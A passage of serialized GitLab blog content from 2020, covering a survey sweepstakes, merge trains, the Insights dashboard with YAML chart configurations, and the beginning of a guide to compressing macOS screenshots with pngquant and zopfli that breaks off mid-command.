in every area of the development process; some of these changes are happening due to technology advances while others are the natural result of a maturing DevOps practice.\n\nBut what we think doesn’t matter – it’s all about you. In fact, we’re so eager to hear what’s on your mind we’re sweetening the pot with a sweepstakes. [Take our survey](https://gitlab.fra1.qualtrics.com/jfe/form/SV_3yBJ72xIvbi8YrH) and you’ll be entered to win a variety of prizes including an Apple iPad, Apple AirPods, a Sonos One speaker and some fun GitLab swag. At the end of the survey, you’ll automatically have one sweepstakes entry, and you’ll also be offered a number of options to earn additional entries including following [GitLab on Twitter](https://twitter.com/gitlab), watching our [YouTube channel](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg) or sharing the survey and sweepstakes on Facebook. Find out more about our [sweepstakes rules](/community/sweepstakes/).\n\nFair warning: We have not only renamed our survey this year to more accurately reflect the entire software development lifecycle, but we’ve also added specific questions just for testers. You should expect to spend less than 10 minutes on this survey unless you’re in a senior management role in which case the survey can take  about 20 minutes to complete. \n\nThe survey and sweepstakes will run through 11:59PM on Feb. 29, 2020. We plan to announce our survey results in early May. Sweepstakes winners will be notified in March.\n\nThanks for helping us to see the industry more clearly!\n\n{::options parse_block_html=\"true\" /}\n\n\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>&nbsp;&nbsp;\nGitLab's 2020 Global DevSecOps Survey - [Read it here](/developer-survey/)!\n&nbsp;&nbsp;\u003Ci class=\"fab fa-gitlab\" style=\"color:rgb(107,79,187); font-size:.85em\" aria-hidden=\"true\">\u003C/i>\n{: .alert .alert-webcast}\n",{"slug":25049,"featured":6,"template":678},"devsecops-survey-sweepstakes","content:en-us:blog:devsecops-survey-sweepstakes.yml","Devsecops Survey Sweepstakes","en-us/blog/devsecops-survey-sweepstakes.yml","en-us/blog/devsecops-survey-sweepstakes",{"_path":25055,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25056,"content":25062,"config":25067,"_id":25069,"_type":16,"title":25070,"_source":17,"_file":25071,"_stem":25072,"_extension":20},"/en-us/blog/all-aboard-merge-trains",{"title":25057,"description":25058,"ogTitle":25057,"ogDescription":25058,"noIndex":6,"ogImage":25059,"ogUrl":25060,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25060,"schema":25061},"How starting merge trains improve efficiency for DevOps","No more queuing and waiting for pipeline results! Read how merge trains will speed up your deployments while making sure master stays green.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678419/Blog/Hero%20Images/merge_trains.jpg","https://about.gitlab.com/blog/all-aboard-merge-trains","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How starting merge trains improve efficiency for DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Orit Golowinski\"}],\n        \"datePublished\": \"2020-01-30\",\n      }",{"title":25057,"description":25058,"authors":25063,"heroImage":25059,"date":25064,"body":25065,"category":734,"tags":25066},[15485],"2020-01-30","\nA large percentage of a developer's day is spent updating their branches and rebasing, they are essentially \"racing\" their teammates to get their merge requests merged. Keeping the master branch green is critical for [continuous delivery](/topics/continuous-delivery/). When the production build breaks, it means your new code isn't going live, which impacts users and revenue. The only way to be 100% sure the master branch stays green when new code merges is to run the pipeline using the latest version of the master branch. For teams that have a high volume of merges, this can be difficult or even impossible. In the time it takes the pipeline to complete one code change, other changes can get merged to master with the potential for conflict. The only way to mitigate this is to queue and sequence the changes so that once a production pipeline starts, other code doesn't get merged ahead of that change. \n\n## What are merge trains and how do they help?\n\n Merge trains introduce a way to order the flow of changes into the target branch (usually master). When you have teams with a high number of changes in the target branch, this can cause a situation where during the time it takes to validate merged code for one change, another change has been merged to master, invalidating the previous merged result.\n\nBy using merge trains, each merge request joins as the last item in that train with each merge request being processed in order. However, instead of queuing and waiting, each item takes the completed state of the previous (pending) [merge ref](https://gitlab.com/gitlab-org/gitlab-foss/issues/47110) (the merge result of the merge), adds its own changes, and starts the pipeline immediately in parallel under the assumption that everything is going to pass.\n\nIf all pipelines in the merge train are completed successfully, then no pipeline time is wasted on queuing or retrying. Pipelines invalidated through failures are immediately canceled, the MR causing the failure is removed, and the rest of the MRs in the train are requeued without the need for manual intervention.\n\nAn example of a merge train:\n\n![Diagram of merge trains](https://about.gitlab.com/images/blogimages/merge_trains-1.png){: .shadow}\n\nMR1 and MR2 join a merge train. When MR3 attempts to join, the merge fails and it is removed from the merge train. MR4 restarts at the point that MR3 fails, and attempts to run without the contents of MR3.\nMR3 will remain open in failed state, so that the author can rebase and fix the failure before attempting to merge again.\n\nHere is a demonstration video that explains the advantage of the merge train feature. In this video, we'll simulate the common problem in a workflow without merge trains, and later, we resolve the problem by enabling a merge train.\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/D4qCqXgZkHQ\" frameborder=\"0\" allowfullscreen=\"true\">\n\u003C/iframe>\n\u003C/figure>\n\n## How the merge trains feature has evolved so far\n\nAfter releasing [merge trains](/releases/2019/06/22/gitlab-12-0-released/#sequential-merge-trains) in GitLab 12.0, we immediately started to use this feature internally, and collected a lot of valuable feedback which helped us to improve and enhance the feature.\n\nWe started by tuning the [merge train concurrency](https://gitlab.com/gitlab-org/gitlab/issues/31692). We understood that while merge trains is a feature that is designed to improve efficiency by making sure that master stays green, it can also create an unwanted bottleneck that slows down productivity if your merge requests needs to wait in a long queue in order to get merged.\n\nWe also noticed that many developers were \"skipping the line\" and merging their changes immediately because they did not understand the effect that merging immediately has on other users, so we added a [warning](https://gitlab.com/gitlab-org/gitlab/issues/12679) to clarify this common misunderstanding. We intentionally left the option to still \"merge immediately\" since we also understand the importance of an urgent merge request, such as a \"hot fix\" that must be able to skip to the front of the merge train. Another improvement was the ability to [“squash & merge” as part of the merge train](https://gitlab.com/gitlab-org/gitlab/issues/13001) in order to maintain a clean commit history.\n\nHere is a demonstration video that explains how squash & merge works with merge trains.\n\n\u003Cfigure class=\"video_container\">\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/pA5SfHwlq0s\" frameborder=\"0\" allowfullscreen=\"true\">\n\u003C/iframe>\n\u003C/figure>\n\n## What's next\n\nWe plan to add more important features to the support of merge trains. The first is that [merge trains should support fast-forward merge](https://gitlab.com/gitlab-org/gitlab/issues/35628). This could help solve a fundamental contention problem of fast-forward merges: The CI pipeline must be run every time the merge request is rebased, and the merge request must be rebased every time master changes – which is frequently! This problem significantly limits the frequency with which merge requests can be merged.\n\nThe second feature, [API support for merge trains](https://gitlab.com/gitlab-org/gitlab/issues/32665), will extend the ability to automate your workflows using merge trains.\n\nWe want to hear from you! Tell us how merge trains have improved your workflow, or give us more insight into how we can improve merge trains to work better for you. [Give us your feedback by commenting here](https://gitlab.com/groups/gitlab-org/-/epics/2408).\n\nCover image by [Vidar Nordli-Mathisen\n](https://images.unsplash.com/photo-1525349769815-0e6ba4e0bbdd?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1611&q=80) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[110,4144,1444,754],{"slug":25068,"featured":6,"template":678},"all-aboard-merge-trains","content:en-us:blog:all-aboard-merge-trains.yml","All Aboard Merge Trains","en-us/blog/all-aboard-merge-trains.yml","en-us/blog/all-aboard-merge-trains",{"_path":25074,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25075,"content":25081,"config":25086,"_id":25087,"_type":16,"title":25088,"_source":17,"_file":25089,"_stem":25090,"_extension":20},"/en-us/blog/insights",{"title":25076,"description":25077,"ogTitle":25076,"ogDescription":25077,"noIndex":6,"ogImage":25078,"ogUrl":25079,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25079,"schema":25080},"GitLab: New Tool to Visualize High-Level Project Trends","How our easy to configure Insights technology takes data from issues and merge requests to build visually appealing charts.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749681053/Blog/Hero%20Images/birdseyeview.jpg","https://about.gitlab.com/blog/insights","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"We're dogfooding a tool to help visualize high-level trends in GitLab projects\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sara Kassabian\"}],\n        \"datePublished\": \"2020-01-30\",\n      }",{"title":25082,"description":25077,"authors":25083,"heroImage":25078,"date":25064,"body":25084,"category":734,"tags":25085},"We're dogfooding a tool to help visualize high-level trends in GitLab projects",[17272],"\n\nOur policy at GitLab is to [dogfood everything](/handbook/engineering/development/principles/#dogfooding) – meaning we aren't going to introduce a new product or feature to our [DevOps platform](/solutions/devops-platform/) before our engineering team tests it out. Sometimes though, the development process happens in reverse: The product and engineering teams need a specific tool or functionality to help us run GitLab better and discover a tool that has the capacity to solve many different customer use cases.\n\n[Insights](https://docs.gitlab.com/ee/user/project/insights/), which is available to [GitLab Ultimate](/pricing/ultimate/) users, is an example of such a tool. Insights is a flexible feature of GitLab that allows our users to visualize different trends in workflows, bugs, merge request (MR) throughput, and issue activity that is based upon the underlying labeling system of a group. In this blog post, we'll go in-depth on how and why we built this tool, how we use the tool at GitLab, and explain how to configure Insights for your own projects.\n\n\n- [Why we built Insights](#why-we-built-insights)\n- [Labels powers Insights](#why-label-hygiene-matters)\n- [How to configure Insights](#configuring-your-insights-dashboard)\n- [How GitLab uses Insights](#how-we-are-dogfooding-insights)\n- [Implementing Insights in your instance](#implementing-insights-for-your-team)\n\n[Kyle Wiebers](/company/team/#kwiebers), quality engineering manager on Engineering Productivity, gives an overview of how we use Insights at GitLab in the GitLab Unfiltered video embedded below. Watch the video and read the rest of the post to learn all about this exciting new tool we're dogfooding at GitLab.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/kKnQzS9qorc\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Why we built Insights\n\nThe [Engineering Productivity team](/handbook/engineering/quality/#engineering-productivity) at GitLab first built Insights to provide an overview of trends in the issue tracker, but soon realized that this technology can be applied in different ways that were beneficial to our needs, and the needs of our users.\n\n\"The initial thing was we were interested in when the bugs were being raised: Were they being raised around release time or were they being raised the middle of a phase?\" says [Mark Fletcher](/company/team/#markglenfletcher), backend engineer on Engineering Productivity. \"Because we did have bugs being created just after release, which led to regressions, which led to patch fixes. So we were just interested in exploring those kinds of trends.\"\n\nTo capture this trend data the Quality Engineering team created the [quality dashboard](https://quality-dashboard.gitlap.com/groups/gitlab-org), which was essentially the first iteration of Insights for GitLab. While the quality dashboard showed trends in bugs being raised per release cycle, it also showed how much work was being accomplished over the same period.\n\n\"And that's where the scope really changed from looking at issues that are bugs to merge requests and being able to have generic rules based on labels that we can use to align with our workflow,\" says Kyle.\n\n## Why label hygiene matters\n\nThe Engineering Productivity team soon realized that a lot of the different trends they were aiming to capture with Insights were powered by [labels](https://docs.gitlab.com/ee/user/project/labels.html#overview). Labels allow a GitLab user to categorize epics, issues, and merge requests with descriptive titles such as \"bug\" or \"feature request\" and quickly filter based upon category. The label filtering system works inside the [issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues/?sort=created_date&state=opened&first_page_size=100), and all throughout GitLab, and is a core part of the underlying configuration of Insights.\n\nA good example of an Insights dashboard that is configured by labels and the metadata that underlies issues and merge requests (such as creation date) is the [MR throughputs dashboard](https://gitlab.com/groups/gitlab-org/-/insights/#/throughputs).\n\n![Merge request throughputs for group](https://about.gitlab.com/images/blogimages/merge_throughputs_group.png){: .shadow.medium.center}\nA screenshot of the chart for merge request throughouts at the group level.\n{: .note.text-center}\n\nThe MR throughputs dashboard captures how many MRs are completed during a given week or month to measure our organization's overall performance. It is part of our workflow to assign labels to MRs that help distinguish the type of MR being worked on: feature, bug, community contribution, security, or backstage. This dashboard is configured as a stacked bar chart, which makes it easy to visualize MR throughput by type so we can see the type of work being created over a fixed period of time. The chart is also divided into weekly or monthly views, which helps us see both short- and long-term trends.\n\n\"So, we can look at short-term trends and longer-term trends to see: Are we delivering more work? Are we hitting a bottleneck? Are we plateauing? And that allows us to dive a little bit deeper and take corrective action,\" says Kyle.\n\n### Labels help simplify the configuration of dashboards\n\nIf you look to the lefthand sidebar of the MR throughputs dashboard, you'll notice that the dashboard is configured at the Gitlab-org group level. The group level of GitLab-org contains all of the projects within GitLab-org and therefore captures all of the MR throughput data across all projects.\n\nThe project level is a level below the group level and looks at a specific project contained within a larger group, such as the GitLab project in the GitLab-org group.\n\n![Merge request throughputs for project](https://about.gitlab.com/images/blogimages/mr_throughputs_product.png){: .shadow.medium.center}\nA screenshot of the chart for merge request throughoutputs at the project level.\n{: .note.text-center}\n\nAny Insights dashboard, including the MR throughputs dashboard, can be filtered at the group level or the project level, but the configuration remains the same regardless of how the dashboard is filtered.\n\n\"So everything that's contained within a group, and in our case, it would be the GitLab-org group, you can also have this on a project level,\" says Kyle. \"So if you want to look at Insights on a project, you can configure the same thing on a project. Just for our use case, it made sense to look at MR throughputs across multiple projects versus one specific project.\"\n\nBut in the end, it all comes back to labels. We don't have to configure the Insights dashboard differently for groups and projects because all of our labels at GitLab are set up at the group level and then propagate down to the project level.\n\nOne of the characteristics of Insights that makes it such a valuable feature is that the configuration is so flexible. While most customers will use the same labeling system across groups and projects as GitLab does, it is possible to configure the charts separately at the project and group level.\n\n\"The scope [of Insights] changed from looking at issues that are bugs to merge requests and being able to have generic rules based on labels that we can use to align with our workflow,\" says Kyle. \"Then that flexibility allows any customers to leverage the same feature based on their own specific workflow or labeling practices.\"\n\nA user can use Insights on a group or project regardless of the underlying labeling system. They just need to configure the dashboard according to their workflow.\n\n## Configuring your Insights dashboard\n\nThere are numerous Insights dashboards that are available out of the box or that can be [easily configured](https://docs.gitlab.com/ee/user/project/insights/#configure-your-insights) based on a user's labeling workflow.\n\nAll of the Insights dashboards within GitLab are [driven by a YAML file](https://gitlab.com/gitlab-org/quality/insights-config/-/blob/master/.gitlab/insights.yml). The configuration for each chart includes configuration parameters: title, type, and query.\n\nThe query section defines the type of issues and/or merge requests from the issue tracker that will be included in the chart. The [parameters for which labels are contained in the chart](https://docs.gitlab.com/ee/user/project/insights/#queryfilter_labels) fall under the query section as well.\n\n\"The Insights configuration is actually stored in [one of your project's repositories]. So, it can be changed just like you do any of your code. It can be [version-controlled](/topics/version-control/) so you can see changes over time. That gives you a lot of value to just ensure that there's very clear traceability into why was this dashboard changed, and when was it changed,\" says Kyle.\n\nHere is the configuration that underlies the [MR throughputs dashboard](https://gitlab.com/groups/gitlab-org/-/insights/#/throughputs) we looked at extensively in the section above.\n\n```\nthroughputs:\n  title: Merge Request Throughputs (product only projects)\n  charts:\n    - title: Throughputs per Week\n      type: stacked-bar\n      query:\n        issuable_type: merge_request\n        issuable_state: merged\n        collection_labels:\n          - Community contribution\n          - security\n          - bug\n          - feature\n          - backstage\n        group_by: week\n        period_limit: 12\n    - title: Throughputs per Month\n      type: stacked-bar\n      query:\n        issuable_type: merge_request\n        issuable_state: merged\n        collection_labels:\n          - Community contribution\n          - security\n          - bug\n          - feature\n          - backstage\n        group_by: month\n        period_limit: 24\n```\n{: .language-ruby}\n\nExplore the [Insights YAML file for GitLab](https://gitlab.com/gitlab-org/gitlab-insights/blob/master/.gitlab/insights.yml) to see how we set up some of our other charts.\n\n## How we are dogfooding Insights\n\nInsights is most effective at monitoring high-level trends, as well as measuring performance against a specific measurable objective with the aim of taking corrective action. At GitLab, we've been using our Insights technology in different ways to visualize our overall performance or to answer specific questions.\n\nOur Support and Quality Engineering teams at GitLab currently use Insights, but in different ways. By dogfooding the technology here at GitLab, we've found numerous use cases for Insights that could be valuable to our customers.\n\n### How our Support team uses Insights\n\nThe Support team uses Insights both as an out of the box issue tracking dashboard and as a customized dashboard made possible using automation.\n\n#### Bugs SLO chart\n\nThe [Bugs SLO dashboard](https://gitlab.com/gitlab-org/gitlab/insights/#/bugsPastSLO) was created so the Support department and engineering leaders can identify bugs overdue from SLO.\n\n![Support team Bugs SLO chart](https://about.gitlab.com/images/blogimages/bugs_slo.png){: .shadow.medium.center}\nA chart specially configured for the Support team to show how many bugs missed the SLO each month.\n{: .note.text-center}\n\nThe Bugs SLO chart is configured in the GitLab-org group but lives in the GitLab project. The chart pulls open issues pertaining to bugs and customer bugs, that are labeled `missed-SLO` and groups them by month. We also have a [labeling system for categorizing based on priority](https://docs.gitlab.com/ee/development/labels/index.html#priority-labels) – P1 bugs are top priority, P2 bugs are second priority.\n\n\"This really allows us to, again, look at the trends: Are we improving? Are we getting worse? Do we need to look a little bit deeper here and do a corrective action to help address any problems that we see within the trends that Insights provides?\" says Kyle.\n\n#### Configuration of SLO chart\n\nHere is a peek at what happens inside the YAML file to configure the bugs SLO chart.\n\n```\nbugsPastSLO:\n  title: Bugs Past SLO\n  charts:\n    - title: Open bugs past priority SLO by creation month\n      type: stacked-bar\n      query:\n        issuable_type: issue\n        issuable_state: opened\n        filter_labels:\n          - bug\n          - missed-SLO\n        collection_labels:\n          - P1\n          - P2\n        group_by: month\n        period_limit: 24\n    - title: Open customer bugs past priority SLO by creation month\n      type: stacked-bar\n      query:\n        issuable_type: issue\n        issuable_state: opened\n        filter_labels:\n          - bug\n          - missed-SLO\n          - customer\n        collection_labels:\n          - P1\n          - P2\n        group_by: month\n        period_limit: 24\n```\n{: .language-ruby}\n\n#### Triage helps ensure good label hygiene\n\nFor the Bugs SLO chart, we use the [GitLab triage project](https://gitlab.com/gitlab-org/gitlab-triage) to [automatically apply the `missed-SLO` label to open issues with priority labels that miss the SLO target](/handbook/engineering/quality/triage-operations/#missed-slo). We use automation here because the GitLab project is so massive, it would not be feasible to manually apply this label based upon the missed SLO target rules. Insights is flexible enough that either manual labeling or automation can be used on any dashboard.\n\n### Support issue tracker\n\nThe Support team used one of our out of the box dashboards to [see how many Support issues are open and closed per month](https://gitlab.com/gitlab-com/support-forum/insights/#/issues) with the [GitLab.com Support Tracker project](https://gitlab.com/gitlab-com/support-forum), which looks at support issues raised by GitLab.com users that don't go through the Support team.\n\n![Support issue tracker](https://about.gitlab.com/images/blogimages/support_issue_tracker.png){: .shadow.medium.center}\nThe Support team also uses one of our out of the box dashboards that tracks the number of issues open and closed each month.\n{: .note.text-center}\n\n\"This shows that [the dashboard] is quite useful out of the box to just see some visualizations without doing any configuration,\" says Mark. \"These were the charts that we thought would give the most value to a team or to a project without doing any config whatsoever.\"\n\n## How our Quality Engineering team uses Insights\n\nThe Quality Engineering team uses Insights to look at opportunities to remedy gaps in a specific project in our EE, as well as to visualize flaky tests on GitLab based on reported issues.\n\n### Enterprise Edition testcases chart\n\nOne of our more specific use cases is the Enterprise testcases chart. The Quality Engineering department is working to close the gap in testcases in the GitLab Enterprise. The team [configured a chart](https://gitlab.com/gitlab-org/quality/testcases/insights/#/eeTestcasesCharts) within the [testcases project](https://gitlab.com/gitlab-org/quality/testcases/tree/master) to help visualize how many open and closed test gaps there are, separated by GitLab product area, and GitLab product tier.\n\n![EE testcases chart](https://about.gitlab.com/images/blogimages/EE_testcases.png){: .shadow.medium.center}\nQuality Engineering configured this chart to visualize gaps in testcases on GitLab Enterprise.\n{: .note.text-center}\n\n\"Looking at this chart, we may say, ‘Maybe we should have a few people focus on the gaps in verify because it has the most open testcases at the current point',\" says Kyle.\n\n#### Configuration of EE testcases chart\n\nThe EE testcases chart is not something that is available out of the box, but the [configuration for the chart](https://gitlab.com/gitlab-org/quality/testcases/blob/master/.gitlab/insights.yml) is pretty simple nonetheless.\n\n```\neeTestcasesCharts:\n  title: 'Charts for EE Testcases'\n  charts:\n    - title: Open testcases (backlog) by stage\n      type: bar\n      query:\n        issuable_type: issue\n        issuable_state: opened\n        filter_labels:\n          - \"Quality:EE test gaps\"\n        collection_labels:\n          - \"devops::configure\"\n          - \"devops::create\"\n          - \"devops::protect\"\n          - \"devops::enablement\"\n          - \"devops::growth\"\n          - \"devops::manage\"\n          - \"devops::monitor\"\n          - \"devops::package\"\n          - \"devops::plan\"\n          - \"devops::release\"\n          - \"devops::secure\"\n          - \"devops::verify\"\n```\n{: .language-ruby}\n\nThe configuration shows that this is a bar chart that is looking at open issues with the filter `Quality:EE test gaps`. The collection labels are what broke the bars out into different columns. While it is possible to illustrate the data in very intricate ways, the underlying schema to configure the chart is actually quite simple, mirroring the process of searching the issue tracker by filtering based on labels.\n\n![Issue tracker](https://about.gitlab.com/images/blogimages/issue_tracker_EE.png){: .shadow.medium.center}\nThe issues represented in the EE testcases chart can be searched for by label using the issue tracker in the testcases project.\n{: .note.text-center}\n\nOpening the issue tracker for the testcases project, you can search by `Quality:EE test gaps` label, select open issues, to see the actual issues represented by the Insights chart.\n\nThe key takeaway: If your team has good label hygiene and a logical workflow, building charts based on Insights should not be particularly challenging.\n\n### End-to-end transient failures\n\nThe Quality Engineering team monitors how often we have reports of flaky tests in our pipeline by looking at the number of issues created that fit the label schema.\n\n![End-to-end transient failure chart](https://about.gitlab.com/images/blogimages/end_to_end_chart.png){: .shadow.medium.center}\nA second chart configured for Quality Engineering is the end-to-end transient failure chart, which looks at flaky tests.\n{: .note.text-center}\n\nSimilar to many of our other charts, this is a stacked bar graph that looks at both open and closed issues on a weekly basis, and the underlying configuration is as you might expect.\n\n```\ntransientFailures:\n  title: End to end transient failures\n  charts:\n    - title: Opened transient failures per week\n      type: stacked-bar\n      query:\n        issuable_type: issue\n        issuable_state: opened\n        filter_labels:\n          - \"Quality\"\n          - \"QA\"\n          - \"bug\"\n        collection_labels:\n          - \"found:gitlab.com\"\n          - \"found:canary.gitlab.com\"\n          - \"found:staging.gitlab.com\"\n          - \"found:staging-orchestrated\"\n          - \"found:dev.gitlab.com\"\n          - \"found:nightly\"\n          - \"found:in MR\"\n        group_by: week\n        period_limit: 24\n    - title: Closed transient failures per week\n      type: stacked-bar\n      query:\n        issuable_type: issue\n        issuable_state: closed\n        filter_labels:\n          - \"Quality\"\n          - \"QA\"\n          - \"bug\"\n        collection_labels:\n          - \"found:gitlab.com\"\n          - \"found:canary.gitlab.com\"\n          - \"found:staging.gitlab.com\"\n          - \"found:staging-orchestrated\"\n          - \"found:dev.gitlab.com\"\n          - \"found:nightly\"\n          - \"found:in MR\"\n        group_by: week\n        period_limit: 24\n```\n{: .language-ruby}\n\n## Implementing Insights for your team\n\nIf your team is often pulling data from GitLab through an API or CSV export, and then building charts based on issues and merge request data, then Insights will make your life a lot easier!\n\nSome questions to think about before implementing Insights include: How would you want to categorize the work being done and the issues that are being created? How do you want to monitor the open/close rates on your issues? Also, how do you plan on using labels?\n\nInsights users really need to define their workflows and have a clear idea about how they're using labels. We recommend having some sort of [automated mechanism to ensure good label hygiene](/handbook/engineering/quality/triage-operations/#triage-automation). [GitLab Triage](https://gitlab.com/gitlab-org/gitlab-triage) is our open source project that automates labeling of issues on our giant GitLab project and is a good candidate for any organization that has a large backlog of issues.\n\nWe recommend users [read up more on the issues workflow](https://docs.gitlab.com/ee/development/contributing/issue_workflow.html) to learn more about how to use labels and the issue tracker, which is valuable background knowledge to improve your use of Insights.\n\nWe've been dogfooding Insights for a time to help iron out any wrinkles in the implementation or application of this technology, but we also want to hear your ideas of how we can make improvements to Insights. [Create an issue in the GitLab project issue tracker](https://gitlab.com/gitlab-org/gitlab/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name[]=insights) with the Insights label to share your feedback with us!\n\nCover photo by [Aaron Burden](https://unsplash.com/@aaronburden) on [Unsplash](https://unsplash.com/photos/Qy-CBKUg_X8).\n{: .note.text-center}\n",[754,4103,676],{"slug":8943,"featured":6,"template":678},"content:en-us:blog:insights.yml","Insights","en-us/blog/insights.yml","en-us/blog/insights",{"_path":25092,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":25093,"content":25098,"config":25102,"_id":25104,"_type":16,"title":25105,"_source":17,"_file":25106,"_stem":25107,"_extension":20},"/en-us/blog/simple-trick-for-smaller-screenshots",{"title":25094,"description":25095,"ogTitle":25094,"ogDescription":25095,"noIndex":6,"ogImage":11919,"ogUrl":25096,"ogSiteName":1180,"ogType":1181,"canonicalUrls":25096,"schema":25097},"One simple trick to make your screenshots 80% smaller","How to compress your screenshots automatically with pngquant and zopfli","https://about.gitlab.com/blog/simple-trick-for-smaller-screenshots","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"One simple trick to make your screenshots 80% smaller\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"James Ramsay\"}],\n        \"datePublished\": \"2020-01-30\",\n      }",{"title":25094,"description":25095,"authors":25099,"heroImage":11919,"date":25064,"body":25100,"category":18484,"tags":25101},[24597],"**Updated 2020-02-03:** Added macOS Automator instructions.\n\nI take screenshots every day to share with others in issues, blog posts, email, and\nSlack. I like them to be crisp, high resolution, and importantly the image file size\nshould be as small as possible. Keeping the file size small means they are both\nfast to upload and to download. This is particularly important when I am\nwriting a blog post or documentation.\n\nBelow is a quick primer on PNG compression, and instructions for completely\nautomating the process.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/_E1f0xXDU3g\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\nWhen you capture a screenshot on your Mac, the image will be saved in the PNG-32\nformat, with support for 16 million distinct colors and transparency. This means\nthat the screenshot will perfectly capture every pixel on your screen, but\nhaving four 8-bit channels for red, green, blue and alpha (transparency) for\nevery pixel makes the file very large. If you're interested, you can verify this\nyourself using [pngcheck](http://www.libpng.org/pub/png/apps/pngcheck.html).\n\nIn practice, the subjects of my screenshots are buttons and forms, not\nphotographs.  While you might want 16 million colors for photos, we don't need them for screenshots, so we can take advantage of the PNG-8 format with its more compact 256 color palette.\n\n## Lossy Compression: Color Quantization\n\nThe first step is to reduce the color palette of the screenshot. This is a type\nof lossy compression called [color\nquantization](https://en.wikipedia.org/wiki/Color_quantization), which will\nreduce the number of distinct colors in the image. The\n[pngquant](https://pngquant.org/) command line utility is the perfect tool for\nthis job, and if you've used the popular [ImageAlpha](https://pngmini.com/)\ntool, you've already used the pngquant library.\n\n```bash\n# Install pngquant using Homebrew\nbrew install pngquant\n\n# Quantize 32-bit RGBA PNG to 8-bit (or smaller) RGBA-palette\n# pngquant [number of colors] [options] input.png\n#   --skip-if-larger  only save converted file if they're smaller than original\n#   --strip           remove optional metadata\n#   --ext=.png        set output filename to be same as input filename\n#   --force           overwrite existing output files\npngquant 256 --skip-if-larger --strip --ext=.png --force example.png\n```\n\nThe screenshots below illustrate different levels of palette size reduction.\n\n|PNG-32 (134KB)|256 colors (42KB)|128 colors (39KB)|64 colors (38KB)|\n|---|---|---|---|\n|[![Source PNG-32](https://about.gitlab.com/images/blogimages/png-compression/example.raw.png)](/images/blogimages/png-compression/example.raw.png)|[![256 colors](https://about.gitlab.com/images/blogimages/png-compression/example.256.png)](/images/blogimages/png-compression/example.256.png)|[![128 colors](https://about.gitlab.com/images/blogimages/png-compression/example.128.png)](/images/blogimages/png-compression/example.128.png)|[![64 colors](https://about.gitlab.com/images/blogimages/png-compression/example.64.png)](/images/blogimages/png-compression/example.64.png)|\n\n|32 colors (37KB)|16 colors (29KB)|8 colors (22KB)|4 colors (16KB)|\n|---|---|---|---|\n|[![32 colors](https://about.gitlab.com/images/blogimages/png-compression/example.32.png)](/images/blogimages/png-compression/example.32.png)|[![16 colors](https://about.gitlab.com/images/blogimages/png-compression/example.16.png)](/images/blogimages/png-compression/example.16.png)|[![8 colors](https://about.gitlab.com/images/blogimages/png-compression/example.8.png)](/images/blogimages/png-compression/example.8.png)|[![4 colors](https://about.gitlab.com/images/blogimages/png-compression/example.4.png)](/images/blogimages/png-compression/example.4.png)|\n\nI've observed for most screenshots you can comfortably reduce the color palette\nto as few as 64 colors before the difference in image quality becomes noticeable. If you frequently take\nscreenshots of gradients or more complex images, you may want to stick with 256\ncolors to avoid noticeable artifacts.\n\n## Lossless Compression: DEFLATE\n\nThe PNG image file format uses [DEFLATE](https://en.wikipedia.org/wiki/DEFLATE)\ncompression internally for an added layer of lossless compression, but most PNG\nlibraries do not implement aggressive lossless compression. This provides\nanother opportunity to reduce the file size further.\n\nIn 2013, Google released [zopfli](https://github.com/google/zopfli), which\nclaimed to **improve compression by 3-8% compared to `zlib`**. The trade off for\nthis improvement: waiting an extra 1-2 seconds. (There is no decompression\npenalty when viewing the compressed image).\n\n```bash\n# Install zopfli using Homebrew, which includes zopflipng\nbrew install zopfli\n\n# Optimize PNG compression\n# zopflipng [options] input.png output.png\n#   -y  do not ask about overwriting files\nzopflipng -y example.png example.png\n```\n\nRelative to the massive savings from color quantization, improving lossless\ncompression provides a much smaller reduction, but in the context of pages with\nmany images these marginal gains do add up to worthwhile savings.\n\n![Chart: file size savings](https://about.gitlab.com/images/blogimages/png-compression/chart.png)\n\n## Automation\n\nThe trick is to make this happen automatically every time I capture a screenshot\nusing [Hazel](https://www.noodlesoft.com/) or\n[Automator](https://support.apple.com/en-au/guide/automator/welcome/mac). This\nallows you to run commands based on file events, like every time a new\nscreenshot is added to a directory.\n\nA bonus trick, is to create a dedicated Screenshots directory, so that they\ndon't clutter your desktop. This is also easy:\n\n```bash\n# Create a Screenshots directory in the current users Home directory\nmkdir -p \"$HOME/Screenshots\"\n\n# Configure macOS to capture screenshots to this location\n# If you want to revert this change, and save screenshots to your desktop,\n# instead use \"$HOME/Desktop\"\ndefaults write com.apple.screencapture location \"$HOME/Screenshots\"\n```\n\nUsing Hazel, add the Screenshots folder where newly captured screenshots will be\ncreated, and create a new rule to compress files when they are added. Combining\nthe commands above, and using `$1` syntax to access the filename argument passed\nby Hazel, the final script is:\n\n```bash\npngquant 64 